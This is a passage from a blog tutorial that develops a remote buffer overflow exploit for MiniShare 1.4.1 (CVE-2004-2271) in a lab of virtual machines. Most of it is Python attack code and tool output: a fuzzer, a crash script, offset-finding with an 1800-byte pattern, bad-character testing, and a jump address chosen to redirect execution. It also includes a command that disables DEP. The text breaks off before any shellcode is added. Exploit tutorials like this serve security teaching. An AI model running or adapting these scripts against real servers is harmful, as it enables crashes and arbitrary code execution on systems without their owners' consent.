Buffer Overflows: Remote Buffer Overflow MiniShare 1.4.1 (CVE-2004-2271)

Hey ya’ll!

Today, we’re going to introduce how to write a buffer overflow for CVE-2004-2271. CVE-2004-2271 is a buffer overflow condition in MiniShare 1.4.1 and earlier which allows remote attackers to execute arbitrary code via a long HTTP GET request.

If you want to follow along, you can download the vulnerable application from my github:

Minishare-1.4.1.zip

We’ll be doing this with a Windows 10 and seeing if things work. Should be fun! You can download a copy of Windows 10 here.

We’ll put them both on a virtual network together with no public internet access within VMWare Fusion and then install Minishare, Immunity Debugger and add the Mona script to Immunity. Lastly, we’ll disable our firewall so that we can work on the exploit directly The setup details are outside of scope for this discussion. With that said, please shut off DEP, in case it’s on!

Disabling DEP on Windows 10


bcdedit.exe /set {current} nx AlwaysOff

Let’s dig in, this should be fun!

1. Fuzzing

The first thing that we need to do is figure out where the vulnerability occurs. We know that this has to do with GET requests to a server, so let’s create a tool in Python which will send progressively longer GET requests to the MiniShare 1.4.1 server. To do this, we’ll build the following Python script:


#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import socket, SOCK_STREAM, AF_INET
from time import sleep

CMD = 'GET'
HTTP = 'HTTP/1.1\r\n\r\n'

def get_args():
parser = ArgumentParser(description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271')
)
parser.add_argument('rhost', type=str,
help='Remote host IP address.')
parser.add_argument('rport', nargs='?', type=int, default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

def banner(rhost, rport):
b = '='*80 +'\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '='*80 +'\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '='*80 +'\n'
return b

def build_buffer(length):
return (CMD + 'A'*length + HTTP).encode('ASCII')

def fuzz(rhost, rport):
step = 100
length = step
while True:
try:
buffer = build_buffer(length=length)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost,rport))
print('[*] Sending buffer of length: {l}'.format(l=length))
s.send(buffer)
sleep(3)
s.close()
length += step
print('[*] Sleeping in case the crash is delayed (VMs can cause this)')
sleep(20)
except Exception:
print(('[!] Crash occured. The buffer length '
'at crash time was: {bl}').format(bl=len(buffer)-step))
sys.exit(0)

if __name__ == '__main__':
args = get_args()
b = banner(rhost=args.rhost, rport=args.rport)
print(b)
fuzz(rhost=args.rhost, rport=args.rport)

So what does this do? Great question! The way this script works is it starts off by asking the user for some arguments. Specifically what host is the service we are going to fuzz running on (rhost) and what port is the service listening on (rport)? This occurs in the function get_args, as seen below:


def get_args():
parser = ArgumentParser(description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271')
)
parser.add_argument('rhost', type=str,
help='Remote host IP address.')
parser.add_argument('rport', nargs='?', type=int, default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

Next, we print out a basic banner. This isn’t necessary, but is useful for seeing what configuration we’ve passed to the program. The banner function just puts together a basic text based setup displaying the information. This occurs in the banner function, as seen below:


def banner(rhost, rport):
b = '='*80 +'\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '='*80 +'\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '='*80 +'\n'
return b

With that out of the way, we begin the actual fuzzing process by calling the fuzz method, giving it our remote host and remote port. Let’s take a look at this function before breaking down what’s happening.


def fuzz(rhost, rport):
step = 100
length = step
while True:
try:
buffer = build_buffer(length=length)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost,rport))
print('[*] Sending buffer of length: {l}'.format(l=length))
s.send(buffer)
sleep(3)
s.close()
length += step
print('[*] Sleeping in case the crash is delayed (VMs can cause this)')
sleep(20)
except Exception:
print(('[!] Crash occured. The buffer length '
'at crash time was: {bl}').format(bl=len(buffer)-step))
sys.exit(0)

So first, we set our initial length to 100. We’ll use this when we actually create our buffer that we send to the program. The reason we choose 100 though is so that we can take small steps so that when we crash the application, we know pretty accurately how large of a buffer we need.

With the buffer put together, we use the socket library to connect to the remote host on the specified port. We tell the user how large of a buffer we’re going to send so they can keep track of progress and make sure it’s working as they expect, then we send the actual buffer. Next, we sleep and close our connection to the host.

With our payload sent, we increment the length another 100 bytes, and then try again. In the event that we can’t connect to the host, we’ll trigger an error and tell the user when we had crashed. Since we incremented the buffer size at the end of the last attempt, we’re going to need to remove those added 100 when we print out the length.

Now, you’ll notice that we haven’t mentioned the build_buffer function yet. What’s that like?

Let’s take a look:


def build_buffer(length):
return CMD + 'A'*length + HTTP

Pretty simple function. Basically it’s building the following type of request:


GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1

Nothing special or crazy there. So lets start MiniShare 1.4.1, attach Immunity Debugger to it and then run the fuzzer and see what happens. With the fuzzer running we see it crash:

The fuzzer successfully crashed the MiniShare application

Not only have we seen it crash, but we’ve seen that our A’s have overwritten the EIP register, so theoretically, we have enough to take control of the program’s execution. Let’s replicate this and hone it.

2. Skeleton Exploit

Now that we have a crash that works, we want to try to replicate the crash and make sure we can crash it anytime we want. The key to doing this is to try to use a buffer that is the same size as when the fuzzer caused the application to crash. In our case, that’s roughly 1800 bytes.

So to create our skeleton exploit, we need to modify a few things. Specifically, we’re going to change our fuzz function into an exploit function and remove the loop.


def exploit(rhost, rport):
buffer_length = 1800
try:
exploit_buffer = build_buffer(length=buffer_length)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost, rport))
except Exception:
print("[!] Was the application running? We couldn't connect")
try:
print('[*] Sending buffer of length: {exploit_buffer}'.format(
exploit_buffer=buffer_length))
s.send(exploit_buffer)
sleep(3)
s.close()
print(('[!] The application should have crashed. Check the debugger'))
except Exception:
print('[!] Something went wrong when sending our exploit buffer')

With this together, we can run our exploit:


root@d3c3pt10n:/mnt/hgfs/SharedWithVM/exploits/minishare-141# ./02-skeleton-exploit.py 172.16.153.128
================================================================================
Author: Kevin Kirsche (d3c3pt10n)
================================================================================
Configuration:
Remote Host: 172.16.153.128
Remote Port: 80
================================================================================
[*] Sending buffer of length: 1800
[!] The application should have crashed. Check the debugger

And we can see that this worked:

01-verifying-the-crash

A 1800 byte payload has successfully crashed MiniShare 1.4.1

With a successful crash, we now can focus on weaponizing our exploit and setting up some type of control. We are overwriting the EIP register, and can see some of our buffer went into ESP. If we’re lucky, this will be enough space for us to put our full shellcode that we want to use during the exploitation.

But before we worry about that, how can we figure out where EIP is in our 1800 byte buffer? We could count I guess, maybe even write our own custom string, but lucky for us the Metasploit Framework has a great tool to help us identify the location. This tool, is pattern_create.rb and pattern_offset.rb.

3. Gain control of EIP

These tools can be used to build a unique string of any length (that I’ve tested) and then identify which location in the pattern we found. Let’s build a string the length of our buffer:


root@d3c3pt10n:/mnt/hgfs/SharedWithVM/exploits/minishare-141# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9

With this, we can now update our skeleton exploit to locate EIP. We’ll add a new global variable named PATTERN and then in our build_buffer function replace the ‘A’*length with PATTERN. This leaves us with:


#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import socket, SOCK_STREAM, AF_INET
from time import sleep

CMD = 'GET'
HTTP = 'HTTP/1.1\r\n\r\n'
PATTERN = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1'
'Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3'
'Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5'
'Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7'
'Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9'
'Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1'
'An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3'
'Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5'
'Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7'
'At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9'
'Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1'
'Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3'
'Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5'
'Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7'
'Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9'
'Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1'
'Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3'
'Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5'
'Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7'
'Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9'
'Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1'
'Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3'
'Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5'
'By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7'
'Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9'
'Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1'
'Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3'
'Ch4Ch5Ch6Ch7Ch8Ch9')

def get_args():
parser = ArgumentParser(
description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271'))
parser.add_argument('rhost', type=str, help='Remote host IP address.')
parser.add_argument(
'rport',
nargs='?',
type=int,
default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

def banner(rhost, rport):
b = '=' * 80 + '\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '=' * 80 + '\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '=' * 80 + '\n'
return b

def build_buffer():
return (CMD + PATTERN + HTTP).encode('ASCII')

def exploit(rhost, rport):
try:
exploit_buffer = build_buffer()
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost, rport))
except Exception:
print("[!] Was the application running? We couldn't connect")

try:
print('[*] Sending buffer of length: {exploit_buffer}'.format(
exploit_buffer=len(exploit_buffer))
s.send(exploit_buffer)
sleep(3)
s.close()
print(('[!] The application should have crashed. Check the debugger'))
except Exception:
print('[!] Something went wrong when sending our exploit buffer')

if __name__ == '__main__':
args = get_args()
b = banner(rhost=args.rhost, rport=args.rport)
print(b)
exploit(rhost=args.rhost, rport=args.rport)

Running this new exploit, we should see that EIP is no longer overwritten with AAAA (\x41\x41\x41\x41) and is instead overwritten by a new unique value.

And after running this, we see the program crash and EIP is overwritten:

02-locate-eip

EIP has been overwritten with a unique value

Because of this, we can now use Metasploit’s pattern_offset.rb utility to locate the specific offset at the time of the crash.


root@d3c3pt10n:/mnt/hgfs/SharedWithVM/exploits/minishare-141# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 43366843
[*] Exact match at offset 1788

Perfect, supposedly our EIP register starts after byte 1788. We never want to trust this blindly though. Let’s verify this. To do that, we’ll remove our pattern (it took up a lot of space in the file anyway) and create two new global variables:


EIP_OFFSET = 1788
EIP = 'B' * 4

Then, we update our build_buffer function to do:


def build_buffer():
return (CMD + 'A' * EIP_OFFSET + EIP + 'C' *
(1800 - EIP_OFFSET - len(EIP)) + HTTP).encode('ASCII')

This way, we’re filling our up the buffer up until EIP with A’s (\x41), then we put B’s (\x42) over EIP, and then fill any remaining space with C’s. Wonderful! Let’s check if our update works. Updated code is:


#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import socket, SOCK_STREAM, AF_INET
from time import sleep

CMD = 'GET'
HTTP = 'HTTP/1.1\r\n\r\n'
EIP_OFFSET = 1788
EIP = 'B' * 4

def get_args():
parser = ArgumentParser(
description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271'))
parser.add_argument('rhost', type=str, help='Remote host IP address.')
parser.add_argument(
'rport',
nargs='?',
type=int,
default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

def banner(rhost, rport):
b = '=' * 80 + '\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '=' * 80 + '\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '=' * 80 + '\n'
return b

def build_buffer():
return (CMD + 'A' * EIP_OFFSET + EIP + 'C' *
(1800 - EIP_OFFSET - len(EIP)) + HTTP).encode('ASCII')

def exploit(rhost, rport):
try:
exploit_buffer = build_buffer()
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost, rport))
except Exception:
print("[!] Was the application running? We couldn't connect")

try:
print('[*] Sending buffer of length: {exploit_buffer}'.format(
exploit_buffer=len(exploit_buffer)))
s.send(exploit_buffer)
sleep(3)
s.close()
print(('[!] The application should have crashed. Check the debugger'))
except Exception:
print('[!] Something went wrong when sending our exploit buffer')

if __name__ == '__main__':
args = get_args()
b = banner(rhost=args.rhost, rport=args.rport)
print(b)
exploit(rhost=args.rhost, rport=args.rport)

Now that we have this together, we run it and see:

03-verify-eip

EIP has successfully been overwritten with B’s. ESP now has C’s!

Not only do we now know we have control of EIP, we also seem to have control of ESP. This could be nice and easy. So next we need to know if there are any characters we can’t use in our payload.

4. Identifying Bad Characters

In this case, we already know of a few characters that we can’t use:

  • \x00 — Null byte
  • \x0a — Line feed / New Line
  • \x0d — Carriage Return

Why can’t we use these characters? Glad you asked. So if we take a look back at the vulnerability, we’re making an HTTP request. This means that we’re going to terminate the request with \x0A\x0D\x0A\x0D. If we’re not careful, this could appear earlier than we want in our payload. Thus, if we remove it, we can hopefully safely use the characters. Why are we removing a null byte? Well…it just causes problems more often than not, so I prefer to remove it if I can. But are there any other bad characters? Well, we have to check. To do this, we’ll add a new function:


def bad_chars(known_bad=[]):
bad_char_list = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
bad_chars = bad_char_list
for c in known_bad:
bad_chars = bad_chars.replace(c, b'')
return bad_chars

This function will allow us to build a list of every byte from \x00 to \xff. We’ll feed it a known_bad variable which is an array of characters we don’t want in the list.

With this, we update our build_buffer so that this is put into our payload:


def build_buffer():
ESP = bad_chars(known_bad=[b'\x00', b'\x0a', b'\x0d'])
return (CMD + b'A' * EIP_OFFSET + EIP + ESP + HTTP)

Now, we’re going to start going over the buffer size we’ve started with, so it’s important for us to watch and make sure that we aren’t losing our control. Sometimes, when the buffer size changes too much, a different crash that isn’t exploitable will occur.

With our updates made, we end up with:


#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import socket, SOCK_STREAM, AF_INET
from time import sleep

CMD = b'GET'
HTTP = b'HTTP/1.1\r\n\r\n'
EIP_OFFSET = 1788
EIP = b'B' * 4

def bad_chars(known_bad=[]):
bad_char_list = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
bad_chars = bad_char_list
for c in known_bad:
bad_chars = bad_chars.replace(c, b'')
return bad_chars

def get_args():
parser = ArgumentParser(
description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271'))
parser.add_argument('rhost', type=str, help='Remote host IP address.')
parser.add_argument(
'rport',
nargs='?',
type=int,
default=80,
help='Remote port. (Default: 80)')
args = parser.parse_args()
return args

def banner(rhost, rport):
b = '=' * 80 + '\n'
b += 'Author: Kevin Kirsche (d3c3pt10n)\n'
b += '=' * 80 + '\n'
b += 'Configuration:\n'
b += '\tRemote Host: {rhost}\n'.format(rhost=rhost)
b += '\tRemote Port: {rport}\n'.format(rport=rport)
b += '=' * 80 + '\n'
return b

def build_buffer():
ESP = bad_chars(known_bad=[b'\x00', b'\x0a', b'\x0d'])
return (CMD + b'A' * EIP_OFFSET + EIP + ESP + HTTP)

def exploit(rhost, rport):
try:
exploit_buffer = build_buffer()
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
s.connect((rhost, rport))
except Exception as e:
print("[!] Was the application running? We couldn't connect")
print(repr(e))
return

try:
print('[*] Sending buffer of length: {exploit_buffer}'.format(
exploit_buffer=len(exploit_buffer)))
s.send(exploit_buffer)
sleep(3)
s.close()
print(('[!] The application should have crashed. Check the debugger'))
except Exception:
print('[!] Something went wrong when sending our exploit buffer')

if __name__ == '__main__':
args = get_args()
b = banner(rhost=args.rhost, rport=args.rport)
print(b)
exploit(rhost=args.rhost, rport=args.rport)

When we run this, we see our bad characters in the dump:

04-locating-bad-characters

Our payload of bytes is successfully in memory. Are any missing?

Nothing appears to be missing, so it’s time for us to start redirecting our code execution to ESP. If we can’t do this, no matter what we put there, it won’t matter.

5. Redirecting Code Execution to ESP

To do this, we’ll leverage Mona by Corelan. This is a great tool to help us find things that we want. There a few possible assembly patterns that may be of interest to us:


PUSH ESP, RET
JMP ESP

With the help of nasm_shell.rb within Metasploit, we see that these are:


root@d3c3pt10n:/mnt/hgfs/SharedWithVM/exploits/minishare-141# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > push esp
00000000 54 push esp
nasm > ret
00000000 C3 ret
nasm > jmp esp
00000000 FFE4 jmp esp
nasm >

Wonderful. So we have:


\x54\xc3

or potentially


\xff\e4

as some possible values that we can for instruction targets for EIP. First, we should see if there are any options for areas without ASLR and DEP.

We’ll do this by using mona to pull up a list of modules that are loaded at the time of the crash, as seen below.

05-modules

Doesn’t seem like we have many options, sadly.

With this, let’s look for our different operations we want to perform. We’ll search minishare for the desired op codes using mona as shown below:

06-jmp-esp

Yay! A push esp, ret was found

With our new information about where we want EIP to go, let’s put that in:


# Address=0095F1B1
# Message= 0x0095f1b1 : push esp # ret
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
EIP = pack('<I', 0x0095F1B1)
ESP = b'C' * 500

And remove the bad characters code leaving us with:


#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import socket, SOCK_STREAM, AF_INET
from time import sleep
from struct import pack

CMD = b'GET'
HTTP = b'HTTP/1.1\r\n\r\n'
EIP_OFFSET = 1788
# Address=0095F1B1
# Message= 0x0095f1b1 : push esp # ret | startnull {PAGE_EXECUTE_READWRITE} [minishare.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\d3c3pt10n\Desktop\minishare-1.4.1\minishare.exe)
EIP = pack('<I', 0x0095F1B1)
ESP = b'C' * 500

def get_args():
parser = ArgumentParser(
description=('This tool is a fuzzer which will '
'send increasingly larger payloads'
'to a remote server. This fuzzer is'
'designed for use with CVE-2004-2271'))
